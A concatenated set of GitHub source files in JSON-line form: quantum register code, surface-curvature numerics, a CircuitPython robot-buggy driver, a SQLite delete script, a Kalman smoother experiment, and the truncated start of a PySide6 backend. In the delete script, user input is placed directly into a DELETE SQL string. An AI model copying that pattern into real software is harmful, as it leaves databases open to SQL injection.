\"\"\"A register with the traps of each qubit still to be defined.\n\n Args:\n register_layout (RegisterLayout): The register layout on which this\n register will be defined.\n qubit_ids (QubitId): The Ids for the qubits to pre-declare on this\n register.\n \"\"\"\n\n def __init__(self, register_layout: RegisterLayout, *qubit_ids: QubitId):\n \"\"\"Initializes the mappable register.\"\"\"\n self._layout = register_layout\n if len(qubit_ids) > self._layout.max_atom_num:\n raise ValueError(\n \"The number of required traps is greater than the maximum \"\n \"number of qubits allowed for this layout \"\n f\"({self._layout.max_atom_num}).\"\n )\n self._qubit_ids = qubit_ids\n\n @property\n def qubit_ids(self) -> tuple[QubitId, ...]:\n \"\"\"The qubit IDs of this mappable register.\"\"\"\n return self._qubit_ids\n\n def build_register(self, qubits: Mapping[QubitId, int]) -> BaseRegister:\n \"\"\"Builds an actual register.\n\n Args:\n qubits (Mapping[QubitId, int]): A map between the qubit IDs to use\n and the layout traps where the qubits will be placed. Qubit IDs\n declared in the MappableRegister but not defined here will\n simply be left out of the final register.\n\n Returns:\n BaseRegister: The resulting register.\n \"\"\"\n chosen_ids = tuple(qubits.keys())\n if not set(chosen_ids) <= set(self._qubit_ids):\n raise ValueError(\n \"All qubits must be labeled with pre-declared qubit IDs.\"\n )\n return self._layout.define_register(\n *tuple(qubits.values()), qubit_ids=chosen_ids\n )\n\n def _to_dict(self) -> dict[str, Any]:\n return obj_to_dict(self, self._layout, *self._qubit_ids)\n","repo_name":"stared/Pulser","sub_path":"pulser/register/mappable_reg.py","file_name":"mappable_reg.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"2648002272","text":"import numpy as np\n\nfrom alias.src.linear_algebra import lu_decomposition\nfrom alias.src.wave_function import (\n wave_function_array,\n wave_function,\n vcheck\n)\n\n\ndef surface_reconstruction(coeff, A, b, area_diag, curve_matrix,\n H_var, qm, n0, psi,\n precision=1E-3, max_step=20):\n \"\"\"\n Iterative algorithm to perform surface reconstruction routine.\n Solves Ax = b general matrix equation until solution found where\n global variance of mean curvature H is equivalent to curvature at\n positions of surface molecules H_var.\n\n Parameters\n ----------\n\n coeff:\tarray_like (float); shape=(n_waves**2)\n Optimised surface coefficients\n A: float, array_like; shape=(n_waves**2, n_waves**2)\n Matrix containing wave product weightings\n f(x, u1, Lx).f(y, v1, Ly).f(x, u2, Lx).f(y, v2, Ly)\n for each coefficient in the linear algebra equation Ax = b\n for both surfaces\n b: float, array_like; shape=(n_waves**2)\n Vector containing solutions z.f(x, u, Lx).f(y, v, Ly) to the\n linear algebra equation Ax = b for both surfaces\n area_diag: float, array_like; shape=(n_waves**2)\n Surface area diagonal terms for A matrix\n curve_matrix: float, array_like; shape=(n_waves**2, n_waves**2)\n Surface curvature terms for A matrix\n H_var: float, array_like; shape=(n_waves**2)\n Diagonal terms for global variance of mean curvature\n qm: int\n Maximum number of wave frequencies in Fouier Sum representing\n intrinsic surface\n n0: int\n Maximum number of molecular pivots in intrinsic surface\n psi: float\n Initial value of weighting factor for surface reconstruction\n routine\n precision: float (optional)\n Threshold value determining target similarity of global and\n sample curvatures\n max_step: int\n Maximum iterative steps without solution until algorithm is\n restarted with a reduced psi\n\n Returns\n -------\n\n A_recon: float, array_like; shape=(n_waves**2, n_waves**2)\n Reconstructed A matrix\n coeff_recon: array_like (float); shape=(2, n_waves**2)\n Reconstructed surface coefficients\n \"\"\"\n\n reconstructing = True\n psi_array = np.array([0, psi])\n step = 0\n weight = 0.8\n\n H_var_coeff = np.zeros(2)\n H_var_piv = np.zeros(2)\n H_var_func = np.zeros(2)\n H_var_grad = np.zeros(2)\n\n H_var_coeff[0], H_var_piv[0], H_var_func[0] = H_var_values(\n coeff, A, curve_matrix, H_var, qm, n0)\n H_var_grad[0] = 1\n\n # print(\" {:^11s} | {:^13s} {:^13s}\".format(\n # 'PSI', 'VAR(coeff_H)', 'VAR(piv_H)'))\n # print(' {:10.8f} {:10.4f} {:10.4f}'.format(\n # psi_array[1], H_var_coeff[0], H_var_piv[0]))\n\n \"Amend psi weighting coefficient until H_var == H_piv_var\"\n while reconstructing:\n \"Update A matrix and b vector\"\n A_recon = A * (1. + curve_matrix * psi_array[1] / n0)\n\n \"Update coeffs by performing LU decomosition to solve Ax = b\"\n coeff_recon = lu_decomposition(A_recon + area_diag, b)\n\n H_var_coeff[1], H_var_piv[1], H_var_func[1] = H_var_values(\n coeff_recon, A_recon, curve_matrix, H_var, qm, n0)\n\n \"Recalculate gradient of optimistation function wrt psi\"\n H_var_grad[1] = (\n (H_var_func[1] - H_var_func[0]) / (psi_array[1] - psi_array[0])\n )\n\n if abs(H_var_func[1]) <= precision:\n reconstructing = False\n else:\n step += 1\n\n if step >= max_step or psi_array[1] < 0:\n # Reconstruction routine failed to find minimum.\n # Restart using smaller psi\"\n psi_array[0] = 0\n psi_array[1] = psi * weight\n\n # Calculate original values of Curvature variances\n H_var_coeff[0], H_var_piv[0], H_var_func[0] = H_var_values(\n coeff, A, curve_matrix, H_var, qm, n0)\n H_var_grad[0] = 1\n\n # Decrease psi weighting for next run\n weight *= 0.9\n # Reset number of steps\n step = 0\n else:\n gamma = H_var_func[1] / H_var_grad[1]\n psi_array[0] = psi_array[1]\n psi_array[1] -= gamma\n\n H_var_coeff[0] = H_var_coeff[1]\n H_var_piv[0] = H_var_piv[1]\n H_var_func[0] = H_var_func[1]\n H_var_grad[0] = H_var_grad[1]\n\n # print(' {:10.8f} {:10.4f} {:10.4f}'.format(\n # psi_array[1], H_var_coeff[0], H_var_piv[0]))\n\n return coeff_recon, A_recon\n\n\ndef H_var_values(coeff, A, curve_matrix, H_var, qm, n0):\n \"\"\"\n H_var_values(coeff, A, curve_matrix, H_var, qm, n0)\n\n Returns values involved in iterative optimisation of mean\n curvature variance\n\n Parameters\n ----------\n\n coeff:\tarray_like (float); shape=(n_waves**2)\n Optimised surface coefficients\n A: float, array_like; shape=(n_waves**2, n_waves**2)\n Matrix containing wave product weightings\n f(x, u1, Lx).f(y, v1, Ly).f(x, u2, Lx).f(y, v2, Ly)\n for each coefficient in the linear algebra equation Ax = b\n for both surfaces\n curve_matrix: float, array_like; shape=(n_waves**2, n_waves**2)\n Surface curvature terms for A matrix\n H_var: float, array_like; shape=(n_waves**2)\n Diagonal elements coressponding to variance of mean curvature\n qm: int\n Maximum number of wave frequencies in Fouier Sum representing\n intrinsic surface\n n0: int\n Maximum number of molecular pivots in intrinsic surface\n\n Returns\n -------\n\n H_var_coeff: float\n Global variance of mean curvature\n H_var_piv: float\n Variance of mean curvature at surface pivot sites\n H_var_func:\n Function to minimise, difference between H_var_coeff and\n H_var_piv\n \"\"\"\n\n n_waves = 2 * qm + 1\n\n # Calculate variance of curvature across entire surface from coefficients\n H_var_coeff = np.sum(H_var * coeff**2)\n\n # Calculate variance of curvature at pivot sites only\n coeff_matrix = np.tile(coeff, (n_waves**2, 1))\n H_var_piv = np.sum(coeff_matrix * coeff_matrix.T * A * curve_matrix / n0)\n\n # Calculate optimisation function (diff between coeff and pivot variance)\n H_var_func = abs(H_var_coeff - H_var_piv)\n\n return H_var_coeff, H_var_piv, H_var_func\n\n\ndef H_xy(x, y, coeff, qm, qu, dim):\n \"\"\"\n H_xy(x, y, coeff, qm, qu, dim)\n\n Calculation of mean curvature at position (x,y) at resolution qu\n\n Parameters\n ----------\n\n x: float\n Coordinate in x dimension\n y: float\n Coordinate in y dimension\n coeff:\tfloat, array_like; shape=(n_waves**2)\n Optimised surface coefficients\n qm: int\n Maximum number of wave frequencies in Fouier Sum representing\n intrinsic surface\n qu: int\n Upper limit of wave frequencies in Fouier Sum representing\n intrinsic surface\n dim: float, array_like; shape=(3)\n XYZ dimensions of simulation cell\n\n Returns\n -------\n\n H: float\n Mean curvature of intrinsic surface at point x,y\n \"\"\"\n\n n_waves = 2 * qm + 1\n\n if np.isscalar(x) and np.isscalar(y):\n u_array = np.array(np.arange(n_waves**2) / n_waves, dtype=int) - qm\n v_array = np.array(np.arange(n_waves**2) % n_waves, dtype=int) - qm\n wave_check = (\n (u_array >= -qu) * (u_array <= qu) *\n (v_array >= -qu) * (v_array <= qu)\n )\n indices = np.argwhere(wave_check).flatten()\n\n fuv = wave_function_array(x, u_array[indices], dim[0])\n fuv *= wave_function_array(y, v_array[indices], dim[1])\n H = -4 * np.pi**2 * np.sum(\n (u_array[indices]**2 / dim[0]**2 + v_array[indices]**2 / dim[1]**2)\n * fuv * coeff[indices]\n )\n else:\n H_array = np.zeros(x.shape)\n for u in range(-qu, qu+1):\n for v in range(-qu, qu+1):\n j = (2 * qm + 1) * (u + qm) + (v + qm)\n H_array += (\n wave_function(x, u, dim[0]) * wave_function(y, v, dim[1])\n * (u ** 2 / dim[0] ** 2 + v ** 2 / dim[1] ** 2)\n * coeff[j]\n )\n H = -4 * np.pi**2 * H_array\n\n return H\n\n\ndef H_var_coeff(coeff, qm, qu, dim):\n \"\"\"\n H_var_coeff(coeff, qm, qu, dim)\n\n Variance of mean curvature H across surface determined by coeff at\n resolution qu\n\n Parameters\n ----------\n\n coeff:\tfloat, array_like; shape=(n_frame, n_waves**2)\n Optimised surface coefficients\n qm: int\n Maximum number of wave frequencies in Fouier Sum representing\n intrinsic surface\n qu: int\n Upper limit of wave frequencies in Fouier Sum representing\n intrinsic surface\n dim: float, array_like; shape=(3)\n XYZ dimensions of simulation cell\n\n Returns\n -------\n\n H_var: float\n Variance of mean curvature H across whole surface\n\n \"\"\"\n\n if qu == 0:\n return 0\n\n n_waves = 2 * qm + 1\n\n u_array = np.array(np.arange(n_waves**2) / n_waves, dtype=int) - qm\n v_array = np.array(np.arange(n_waves**2) % n_waves, dtype=int) - qm\n wave_filter = (\n (u_array >= -qu) * (u_array <= qu)\n * (v_array >= -qu) * (v_array <= qu)\n )\n indices = np.argwhere(wave_filter).flatten()\n Psi = vcheck(u_array, v_array)[indices] / 4.\n\n coeff_filter = coeff[:, :, indices]\n av_coeff_2 = np.mean(coeff_filter**2, axis=(0, 1)) * Psi\n\n H_var_array = av_coeff_2[indices] * vcheck(\n u_array[indices], v_array[indices])\n H_var_array *= (\n u_array[indices]**4 / dim[0]**4\n + v_array[indices]**4 / dim[1]**4\n + 2 * u_array[indices]**2 * v_array[indices]**2\n / (dim[0]**2 * dim[1]**2)\n )\n H_var = 16 * np.pi**4 * np.sum(H_var_array)\n\n return H_var\n\n\ndef H_var_mol(xmol, ymol, coeff, qm, qu, dim):\n \"\"\"\n Variance of mean curvature H at molecular positions determined by\n coeff at resolution qu\n\n Parameters\n ----------\n\n xmol: float, array_like; shape=(nmol)\n Molecular coordinates in x dimension\n ymol: float, array_like; shape=(nmol)\n Molecular coordinates in y dimension\n coeff:\tfloat, array_like; shape=(n_waves**2)\n Optimised surface coefficients\n qm: int\n Maximum number of wave frequencies in Fouier Sum representing\n intrinsic surface\n qu: int\n Upper limit of wave frequencies in Fouier Sum representing\n intrinsic surface\n dim: float, array_like; shape=(3)\n XYZ dimensions of simulation cell\n\n Returns\n -------\n\n H_var: float\n Variance of mean curvature H at pivot points\n \"\"\"\n\n if qu == 0:\n return 0\n\n n_waves = 2 * qm + 1\n nmol = xmol.shape[0]\n\n # Create arrays of wave frequency indicies u and v\n u_array = np.array(np.arange(n_waves**2) / n_waves, dtype=int) - qm\n v_array = np.array(np.arange(n_waves**2) % n_waves, dtype=int) - qm\n wave_check = (\n (u_array >= -qu) * (u_array <= qu)\n * (v_array >= -qu) * (v_array <= qu)\n )\n indices = np.argwhere(wave_check).flatten()\n\n # Create matrix of wave frequency indicies (u, v)**2\n u_matrix = np.tile(u_array[indices], (len([indices]), 1))\n v_matrix = np.tile(v_array[indices], (len([indices]), 1))\n\n # Make curvature diagonal terms of A matrix\n curve_diag = 16 * np.pi**4 * (\n u_matrix**2 * u_matrix.T**2 / dim[0]**4 +\n v_matrix**2 * v_matrix.T**2 / dim[1]**4 +\n (u_matrix**2 * v_matrix.T**2 + u_matrix.T**2 * v_matrix**2)\n / (dim[0]**2 * dim[1]**2)\n )\n\n # Form the diagonal xi^2 terms and b vector solutions\n fuv = np.zeros((n_waves**2, nmol))\n for u in range(-qu, qu+1):\n for v in range(-qu, qu+1):\n j = (2 * qm + 1) * (u + qm) + (v + qm)\n fuv[j] = (\n wave_function(xmol, u_array[j], dim[0])\n * wave_function(ymol, v_array[j], dim[1])\n )\n ffuv = np.dot(fuv[indices], fuv[indices].T)\n\n coeff_matrix = np.tile(coeff[indices], (len([indices]), 1))\n H_var = np.sum(coeff_matrix * coeff_matrix.T * ffuv * curve_diag / nmol)\n\n return H_var\n","repo_name":"franklongford/ALIAS","sub_path":"alias/src/surface_reconstruction.py","file_name":"surface_reconstruction.py","file_ext":"py","file_size_in_byte":12284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73570274066","text":"from time import sleep, monotonic\nfrom array import array\nfrom board import GP0, GP3, GP2, GP6, GP7, GP10, GP11, GP14, GP15, GP16, GP17, GP18, GP19, GP20, GP21, GP26, GP27, GP28\nfrom digitalio import DigitalInOut, Direction, Pull\nfrom pwmio import PWMOut\nfrom analogio import AnalogIn\nfrom pulseio import PulseIn\nfrom rp2pio import StateMachine\nfrom adafruit_pioasm import Program\nfrom adafruit_pixelbuf import PixelBuf\nfrom struct import pack\n\npServo = Program(\"\"\"\n pull ;; don't start until first value available\n \n.wrap_target\n pull noblock\n mov x, osr ;; reload OSR with last value\n set pins, 0\n out y, 16 ;; off time\n \nloop_off:\n jmp y--, loop_off\n set pins, 1\n out y, 16 ;; on time\n \nloop_on:\n jmp y--, loop_on\n.wrap\n\"\"\")\n\npZip = Program(\"\"\"\n.program ws2812\n.side_set 1\n\n.wrap_target\n pull block side 0\n out y, 32 side 0 ; get count of ws2812 bits\n\nbitloop:\n pull ifempty side 0 ; drive low\n out x 1 side 0 [5]\n jmp !x do_zero side 1 [3] ; drive high and branch depending on bit val\n jmp y--, bitloop side 1 [4] ; drive high for a one (long pulse)\n jmp end_sequence side 0 ; sequence is over\n\ndo_zero:\n jmp y--, bitloop side 0 [4] ; drive low for a zero (short pulse)\n\nend_sequence:\n pull block side 0 ; get fresh delay value\n out y, 32 side 0 ; get delay count\n\nwait_reset:\n jmp y--, wait_reset side 0 ; wait until delay elapses\n.wrap\n\"\"\")\n\nclass KitronikZIPLEDs(PixelBuf):\n def __init__(self, pin, num_leds, brightness=0.1, auto_write=True):\n byte_count = 3 * num_leds\n bit_count = byte_count * 8\n padding_count = -byte_count % 4\n # backwards, so that dma byteswap corrects it!\n header = pack(\">L\", bit_count - 1)\n trailer = b\"\\0\" * padding_count + pack(\">L\", 3840)\n\n self.sm = StateMachine(pZip.assembled,\n frequency=12_800_000,\n first_sideset_pin=pin,\n out_shift_right=False,\n auto_pull=False,\n pull_threshold=32,\n **pZip.pio_kwargs)\n\n super().__init__(num_leds,\n byteorder=\"GRB\",\n brightness=brightness,\n auto_write=auto_write,\n header=header,\n trailer=trailer)\n\n def _transmit(self, buf):\n self.sm.background_write(memoryview(buf).cast(\"L\"), swap=True)\n\nclass KitronikPicoRobotBuggy:\n # Button for user input:\n button = DigitalInOut(GP0)\n button.direction = Direction.INPUT\n button.pull = Pull.DOWN\n\n '''\n Motors: controls the motor directions and speed for both motors\n '''\n def _initMotors(self):\n self.motor1Forward = PWMOut(GP20, frequency=100)\n self.motor1Reverse = PWMOut(GP19, frequency=100)\n self.motor2Forward = PWMOut(GP6, frequency=100)\n self.motor2Reverse = PWMOut(GP7, frequency=100)\n # Can't use variable frequency on two pins in the same channel\n self.motorOff(\"l\")\n self.motorOff(\"r\")\n \n def motorOn(self, motor, direction, speed, jumpStart=False):\n # Cap speed to 0-100%\n if speed < 0:\n speed = 0\n elif speed > 100:\n speed = 100\n\n # Jump start motor by setting to 100% for 20 ms,\n # then dropping to speed specified.\n # Down to jump start the motor when set at low speed\n if not jumpStart and speed > 0.1 and speed < 35:\n self.motorOn(motor, direction, 100, True)\n sleep(0.02)\n\n # Convert 0-100 to 0-65535\n PWMVal = int(speed * 655.35)\n if motor == \"l\":\n if direction == \"f\":\n self.motor1Forward.duty_cycle = PWMVal\n self.motor1Reverse.duty_cycle = 0\n elif direction == \"r\":\n self.motor1Forward.duty_cycle = 0\n self.motor1Reverse.duty_cycle = PWMVal\n else:\n raise Exception(\"INVALID DIRECTION\") # Harsh, but at least you'll know\n elif motor == \"r\":\n if direction == \"f\":\n self.motor2Forward.duty_cycle = PWMVal\n self.motor2Reverse.duty_cycle = 0\n elif direction == \"r\":\n self.motor2Forward.duty_cycle = 0\n self.motor2Reverse.duty_cycle = PWMVal\n else:\n raise Exception(\"INVALID DIRECTION\") # Harsh, but at least you'll know\n else:\n raise Exception(\"INVALID MOTOR\") # Harsh, but at least you'll know\n \n # To turn off set the speed to 0\n def motorOff(self,motor):\n self.motorOn(motor, \"f\", 0)\n \n '''\n ServoControl:\n Servo 0 degrees -> pulse of 0.5ms, 180 degrees 2.5ms\n pulse train freq 50hz - 20mS\n 1uS is freq of 1000000\n servo pulses range from 500 to 2500usec and overall pulse train is 20000usec repeat.\n servo pins on P.A.R.P. are: Servo 1: 21, Servo2 10, Servo 3 17, Servo 4 11\n '''\n degreesToUS = 2000 / 180\n \n # goToPosition takes a degree position for the serov to goto. \n # 0degrees->180 degrees is 0->2000us, plus offset of 500uS\n #1 degree ~ 11uS.\n #This function does the sum then calls goToPeriod to actually poke the PIO \n def goToPosition(self, servo, degrees):\n period = int(degrees * self.degreesToUS + 500)\n self.goToPeriod(servo, period)\n \n def goToPeriod(self, servo, period):\n if servo < 0:\n servo = 0\n if servo > 3:\n servo = 3\n if period < 500:\n period = 500\n if period > 2500:\n period = 2500\n \n self.servos[servo].background_write(memoryview(array('HH', [20_000 - period, period])).cast('L'))\n \n def _initServos(self):\n servoPins = [GP21, GP10, GP17, GP11]\n self.servos = []\n for i in range(len(servoPins)) :\n self.servos.append(StateMachine(pServo.assembled, frequency=1_000_000, first_set_pin=servoPins[i], **pServo.pio_kwargs))\n \n '''\n ZIPLEDS\n We drive the ZIP LEDs using one of the PIO statemachines. \n '''\n # Define some colour tuples for people to use. \n BLACK = (0, 0, 0)\n RED = (255, 0, 0)\n YELLOW = (255, 150, 0)\n GREEN = (0, 255, 0)\n CYAN = (0, 255, 255)\n BLUE = (0, 0, 255)\n PURPLE = (180, 0, 255)\n WHITE = (255, 255, 255)\n COLOURS = (BLACK, RED, YELLOW, GREEN, CYAN, BLUE, PURPLE, WHITE)\n \n #sow pushes the current setup of theLEDS to the physical LEDS - it makes them visible.\n def show(self):\n self.ZIPLEDs.show()\n \n def clear(self, whichLED):\n self.setLED(whichLED, self.BLACK)\n \n # Sets the colour of an individual LED. Use show to make change visible\n def setLED(self, whichLED, whichColour):\n if whichLED < 0:\n raise Exception(\"INVALID LED:\", whichLED, \" specified\")\n elif whichLED > 3:\n raise Exception(\"INVALID LED:\", whichLED, \" specified\")\n else:\n self.ZIPLEDs[whichLED] = whichColour\n \n # Gets the stored colour of an individual LED, which isnt nessecerily the colour on show if it has been changed, but not 'show'n\n def getLED(self,whichLED):\n if whichLED < 0:\n raise Exception(\"INVALID LED:\", whichLED, \" specified\")\n elif whichLED > 3:\n raise Exception(\"INVALID LED:\", whichLED, \" specified\")\n else:\n return self.ZIPLEDs[whichLED]\n \n # Takes 0-100 as a brightness value, brighness is applies in the'show' function\n def setBrightness(self, value):\n # Cap to 0 - 100%\n if value < 0:\n value = 0\n elif value > 100:\n value = 100\n \n self.ZIPLEDs.brightness = value / 100\n\n '''\n Ultrasonic:\n there are 2 Ultrasonic headers. The front one is the default if not explicitly called wth 'r' for rear\n if we get a timeout (which would be a not fitted sensor, or a range over the sensors maximium the distance returned is -1\n '''\n def getDistance(self, whichSensor=\"f\"):\n if whichSensor == \"f\":\n trigger = self.triggerFront\n echo = self.echoFront\n else: # Rear\n trigger = self.triggerRear\n echo = self.echoRear\n echo.clear()\n \n trigger.value = True\n sleep(0.00001)\n trigger.value = False\n \n timePassed = -1\n start = monotonic()\n echo.resume()\n \n while not echo and monotonic() < start + 0.1:\n pass\n echo.pause()\n \n if echo:\n timePassed = echo[0]\n \n if timePassed == -1: # Timeout - range equivalent of 5 meters - past the sensors limit or not fitted\n distance = -1\n else:\n distance = (timePassed * self.conversionFactor) / 2\n return distance\n \n def setMeasurementsTo(self, units):\n # 0.0343 cm per microsecond or 0.0135 inches\n if units == \"inch\":\n self.conversionFactor = 0.0135 # If you ask nicely we can do imperial\n else:\n self.conversionFactor = 0.0343 # cm is default - we are in metric world.\n\n '''\n Linefollower: there are 3 LF sensors on the plug in board. \n gets the raw (0-65535) value of the sensor. 65535 is full dark, 0 would be full brightness.\n in practice the values tend to vary between approx 5000 - 60000\n '''\n def getRawLFValue(self, whichSensor):\n if whichSensor == \"c\":\n return self.CentreLF.value\n elif whichSensor == \"l\":\n return self.LeftLF.value\n elif whichSensor == \"r\":\n return self.RightLF.value\n else:\n raise Exception(\"INVALID SENSOR\") # Harsh, but at least you'll know\n \n '''\n These functions set the thresholds for light/dark sensing to return true / false\n there should be a gap between light and dark thresholds, to give soem deadbanding.\n if specified OptionalLeftThreshold and OptionalRightThreshold give you the ability to\n specify 3 sets of values. If missing then all sensors use the same value.\n initially all sensors are set to 30000 for light and 35000 for dark.\n '''\n def setLFDarkValue(self, darkThreshold, OptionalLeftThreshold=-1, OptionalRightThreshold=-1):\n self.centreDarkVal = darkThreshold\n if OptionalLeftThreshold == -1:\n self.leftDarkVal = darkThreshold\n else:\n self.leftDarkVal = OptionalLeftThreshold\n if OptionalRightThreshold == -1:\n self.rightDarkVal = darkThreshold\n else:\n self.rightDarkVal = OptionalRightThreshold\n \n def setLFLightValue(self,lightThreshold, OptionalLeftThreshold = -1, OptionalRightThreshold = -1):\n self.centreLightVal = lightThreshold\n if(OptionalLeftThreshold == -1):\n self.leftLightVal = lightThreshold\n else:\n self.leftLightVal = OptionalLeftThreshold\n if(OptionalRightThreshold == -1):\n self.rightLightVal = lightThreshold\n else:\n self.rightLightVal = OptionalRightThreshold\n \n '''\n this returns True when sensor is over light and FALSE over Dark.\n Light/Dark is determined by the thresholds.\n This code will throw an exception if the value returned is in the 'gery' area.\n This can happen is you sample half on /off a line for instance.\n Setting the thresholds to the same value will negate this functionality\n '''\n def isLFSensorLight(self, whichSensor):\n if whichSensor == \"c\":\n sensorVal = self.CentreLF.value\n if sensorVal >= self.centreDarkVal:\n return False\n elif sensorVal < self.centreLightVal:\n return True\n else:\n raise Exception(\"Sensor value 'Grey'\")\n elif whichSensor == \"l\":\n sensorVal = self.LeftLF.value\n if sensorVal >= self.leftDarkVal:\n return False\n elif sensorVal < self.leftLightVal:\n return True\n else:\n raise Exception(\"Sensor value 'Grey'\") \n elif whichSensor == \"r\":\n sensorVal = self.RightLF.value\n if sensorVal >= self.rightDarkVal:\n return False\n elif sensorVal < self.rightLightVal:\n return True\n else:\n raise Exception(\"Sensor value 'Grey'\")\n else:\n raise Exception(\"INVALID SENSOR\") # Harsh, but at least you'll know\n\n '''\n Buzzer: functions will sound a horn or a required frequency. Option aswell to silence the buzzer\n '''\n def silence(self):\n self.buzzer.duty_cycle = 0 # Silence by setting duty to 0\n \n def soundFrequency(self,frequency):\n if frequency < 0:\n frequency = 0\n elif frequency > 3000:\n frequency = 3000\n \n self.buzzer.frequency = frequency # 1khz. Find out the limits of PWM on the Pico - doesn seem to make a noise past 3080hz\n self.buzzer.duty_cycle = 32767 # 50% duty\n \n def beepHorn(self):\n self.soundFrequency(350)\n sleep(0.3)\n self.silence()\n\n '''\n initialisation code for using:\n defaults to the standard pins and freq for the kitronik board, but could be overridden\n '''\n def __init__(self):\n self._initMotors()\n self._initServos()\n for i in range(4):\n self.goToPosition(i, 90) # Set the servo outputs to middle of the range.\n \n # Create and start the StateMachine for the ZIPLeds\n self.ZIPLEDs = KitronikZIPLEDs(GP18, 5, brightness=0.2, auto_write=False)\n \n self.triggerFront = DigitalInOut(GP14)\n self.triggerFront.direction = Direction.OUTPUT\n self.echoFront = PulseIn(GP15)\n self.echoFront.pause()\n self.echoFront.clear()\n self.triggerRear = DigitalInOut(GP3)\n self.triggerRear.direction = Direction.OUTPUT\n self.echoRear = PulseIn(GP2)\n self.echoRear.pause()\n self.echoRear.clear()\n \n # Set the measurements to metric by default.\n self.conversionFactor = 0.0343\n self.maxDistanceTimeout = int(2 * 500 / self.conversionFactor) # 500cm is past the 400cm max range by a reasonable amount for a timeout\n \n self.buzzer = PWMOut(GP16, variable_frequency=True)\n self.buzzer.duty_cycle = 0 # Ensure silence by setting duty to 0\n \n # Setup LineFollow Pins\n self.CentreLF = AnalogIn(GP27)\n self.LeftLF = AnalogIn(GP28)\n self.RightLF = AnalogIn(GP26)\n \n # The LF circuit is setup to give a high value when a dark (non reflective) surface is in view,and a low value when a light (reflective) surface is in view.\n # To aid there is a 'is it light or dark' function, and these values set the thresholds for determining that.\n self.centreLightVal = 30000 \n self.centreDarkVal = 35000\n self.leftLightVal = 30000 \n self.leftDarkVal = 35000\n self.rightLightVal = 30000 \n self.rightDarkVal = 35000\n","repo_name":"KitronikLtd/Kitronik-Pico-Autonomous-Robotics-Platform-CircuitPython","sub_path":"PicoAutonomousRobotics.py","file_name":"PicoAutonomousRobotics.py","file_ext":"py","file_size_in_byte":15343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11433975218","text":"from SQliteConnect import *\n\nimport read\n\nimport time\n\n\n\n\ndef deleteSongs():\n\n # songID of the record to be updated\n\n idField = input(\"Enter the songID of the song to be deeted : \")\n\n\n\n cursor.execute(f\"DELETE FROM songs WHERE SongID={idField}\")\n\n conn.commit()\n\n\n\n print(f\"Record {idField} deleted\")\n\n time.sleep(3)\n\n read.readSongs() # invoke readSongs subroutine from the read app\n\n\n\n\ndeleteSongs()\n","repo_name":"rumina23/rumina23.github.io","sub_path":"50 projects in 50 days/python project/python part 1 programming/part11 DB Operations/SQLite/delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32391566154","text":"from GeneralUtilities.Filepath.instance import FilePathHandler\nfrom KalmanSmoother.Utilities.Floats import ArtificialFloats,AllFloats\nfrom KalmanSmoother.Utilities.__init__ import ROOT_DIR\nfrom KalmanSmoother.Utilities.Filters import LeastSquares,Smoother,ObsHolder\nfrom KalmanSmoother.Utilities.Utilities import KalmanPoint\nfrom geopy.distance import GreatCircleDistance\nimport uuid\nimport numpy as np\n\nfile_handler = FilePathHandler(ROOT_DIR,'Particle')\n\ndef make_filename():\n\treturn file_handler.out_file(str(uuid.uuid4()))\n\ndef pos_misfit_calc(pos_list,exact_list):\n\treturn np.mean([GreatCircleDistance(estimate,exact).km for estimate,exact in zip(pos_list,exact_list)])\n\ndef particle_release():\n\tall_floats = ArtificialFloats()\n\tfor percent in [0.1,0.3,0.7]:\n\t\tfor idx in range(10000):\n\t\t\tprint(idx)\n\t\t\tdummy = all_floats.random(percent)\n\t\t\ttry:\n\t\t\t\ttoa_error = (dummy.toa_noise)\n\t\t\t\ttoa_number = (dummy.toa_number)\n\t\t\t\tpercent_list = (percent)\n\n\t\t\t\tprocess_noise = (all_floats.var_x)*percent\n\t\t\t\tprocess_position_noise = process_noise\n\t\t\t\tprocess_vel_noise = process_noise\n\t\t\t\tgps_number= len(dummy.gps.obs)\n\t\t\t\tls = LeastSquares(dummy,all_floats.sources,ObsHolder(dummy),process_position_noise=process_position_noise*1000,process_vel_noise =process_vel_noise*1000)\n\t\t\t\tls_pos_misfit = pos_misfit_calc(dummy.pos[:-1],dummy.exact_pos)\n\t\t\t\tassert ls_pos_misfit>0\n\t\t\t\tsmooth =Smoother(dummy,dummy.sources,ObsHolder(dummy),process_position_noise=process_position_noise,process_vel_noise =process_vel_noise)\n\t\t\t\tsmoother_pos_misfit = pos_misfit_calc(dummy.pos[:-1],dummy.exact_pos)\n\t\t\t\tkalman_pos_misfit = pos_misfit_calc(dummy.kalman_pos[:-1],dummy.exact_pos)\n\t\t\t\tassert kalman_pos_misfit>0\n\t\t\t\tls_toa_misfit,kalman_toa_misfit,smoother_toa_misfit = dummy.sources.return_misfit()\n\t\t\t\tif smoother_pos_misfit>ls_pos_misfit:\n\t\t\t\t\tprint('LS Pos Misfit is Lowest')\n\n\t\t\t\tfilename= make_filename()\n\t\t\t\tnp.save(filename,[toa_error,toa_number,percent_list,gps_number, \\\n\t\t\t\t\tsmoother_pos_misfit,kalman_pos_misfit,ls_pos_misfit,smoother_toa_misfit,kalman_toa_misfit,ls_toa_misfit])\n\t\t\texcept:\n\t\t\t\tprint('encountered an error, advancing')\n\t\t\t\tcontinue\n\t\t\tall_floats.sources.reset_error()","repo_name":"Chamberpain/KalmanSmoother","sub_path":"Utilities/Particle.py","file_name":"Particle.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31313422289","text":"# This Python file uses the following encoding: utf-8\nfrom dataclasses import dataclass\nimport os\nfrom pathlib import Path\nimport sys\nimport time\nimport json\nfrom math import trunc\nimport subprocess\n\nfrom PySide6 import QtCore\nfrom PySide6.QtQml import QQmlApplicationEngine\nfrom PySide6.QtWidgets import QFileDialog, QApplication\nfrom PySide6.QtGui import QIcon\nfrom PySide6.QtCore import QObject, Slot, Signal\nfrom threading import *\n\nfrom RunAnalysis import Analysis\n\nclass Backend(QObject):\n addObject = Signal(str)\n animateObject = Signal(int)\n newRegion = Signal(str, str)\n adjustHeight = Signal()\n destroyMsg = Signal()\n 